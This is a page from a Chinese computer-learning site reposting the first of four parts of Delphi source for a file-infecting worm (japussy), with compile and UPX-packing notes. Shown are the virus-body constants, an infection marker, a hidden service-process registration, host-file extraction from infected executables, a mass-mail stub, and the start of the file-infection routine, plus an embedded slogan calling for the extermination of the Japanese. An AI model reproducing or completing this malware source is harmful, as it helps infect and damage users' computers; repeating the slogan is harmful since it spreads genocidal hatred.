• 网站地图|收藏本站|数学学习|学习方法|电脑学习|教学大全|生活常识|句子大全|管理资料下载|范文大全
  • 熊猫烧香核心代码

    时间:10-14 10:27:50来源:http://www.laixuea.com 电脑安全阅读:8714

    概要:program japussy;useswindows, sysutils, classes, graphics, shellapi{, registry};constheadersize = 82432; //病毒体的大小iconoffset = $12eb8; //pe文件主图标的偏移量//在我的delphi5 sp1上面编译得到的大小,其它版本的delphi可能不同//查找2800000020的十六进制字符串可以找到主图标的偏移量{headersize = 38912; //upx压缩过病毒体的大小iconoffset = $92bc; //upx压缩过pe文件主图标的偏移量//upx 1.24w 用法: upx -9 --8086 japussy.exe}iconsize = $2e8; //pe文件主图标的大小--744字节icontail = iconoffset + iconsize; //pe文件主图标的尾部id =

    熊猫烧香核心代码,标签:电脑安全知识,个人电脑安全,http://www.laixuea.com

    program japussy;
    uses
    windows, sysutils, classes, graphics, shellapi{, registry};
    const
    headersize = 82432;        //病毒体的大小
    iconoffset = $12eb8;      //pe文件主图标的偏移量

    //在我的delphi5 sp1上面编译得到的大小,其它版本的delphi可能不同
    //查找2800000020的十六进制字符串可以找到主图标的偏移量

    {
    headersize = 38912;        //upx压缩过病毒体的大小
    iconoffset = $92bc;        //upx压缩过pe文件主图标的偏移量

    //upx 1.24w 用法: upx -9 --8086 japussy.exe
    }
    iconsize  = $2e8;        //pe文件主图标的大小--744字节
    icontail  = iconoffset + iconsize; //pe文件主图标的尾部
    id    = $44444444;      //感染标记

    //垃圾码,以备写入
    catchword = 'if a race need to be killed out, it must be yamato. ' +
        'if a country need to be destroyed, it must be japan! ' +
        '*** w32.japussy.worm.a ***';
    {$r *.res}
    function registerserviceprocess(dwprocessid, dwtype: integer): integer;
    stdcall; external 'kernel32.dll'; //函数声明
    var
    tmpfile: string;
    si:  startupinfo;
    pi:  process_information;
    isjap:  boolean = false; //日文操作系统标记
    { 判断是否为win9x }
    function iswin9x: boolean;
    var
    ver: tosversioninfo;
    begin
    result := false;
    ver.dwosversioninfosize := sizeof(tosversioninfo);
    if not getversionex(ver) then
    exit;
    if (ver.dwplatformid = ver_platform_win32_windows) then //win9x
    result := true;
    end;
    { 在流之间复制 }
    procedure copystream(src: tstream; sstartpos: integer; dst: tstream;
    dstartpos: integer; count: integer);
    var
    scurpos, dcurpos: integer;
    begin
    scurpos := src.position;
    dcurpos := dst.position;
    src.seek(sstartpos, 0);
    dst.seek(dstartpos, 0);
    dst.copyfrom(src, count);
    src.seek(scurpos, 0);
    dst.seek(dcurpos, 0);
    end;
    { 将宿主文件从已感染的pe文件中分离出来,以备使用 }
    procedure extractfile(filename: string);
    var
    sstream, dstream: tfilestream;
    begin
    try
    sstream := tfilestream.create(paramstr(0), fmopenread or fmsharedenynone);
    try
      dstream := tfilestream.create(filename, fmcreate);
      try
      sstream.seek(headersize, 0); //跳过头部的病毒部分
      dstream.copyfrom(sstream, sstream.size - headersize);
      finally
      dstream.free;
      end;
    finally
      sstream.free;
    end;
    except
    end;
    end;
    { 填充startupinfo结构 }
    procedure fillstartupinfo(var si: startupinfo; state: word);
    begin
    si.cb := sizeof(si);
    si.lpreserved := nil;
    si.lpdesktop := nil;
    si.lptitle := nil;
    si.dwflags := startf_useshowwindow;
    si.wshowwindow := state;
    si.cbreserved2 := 0;
    si.lpreserved2 := nil;
    end;
    { 发带毒邮件 }
    procedure sendmail;
    begin
    //哪位仁兄愿意完成之?
    end;
    { 感染pe文件 }
    procedure infectonefile(filename: string);
    var

    [1] [2] [3] [4]  下一页


    Tag:电脑安全电脑安全知识,个人电脑安全电脑学习 - 电脑安全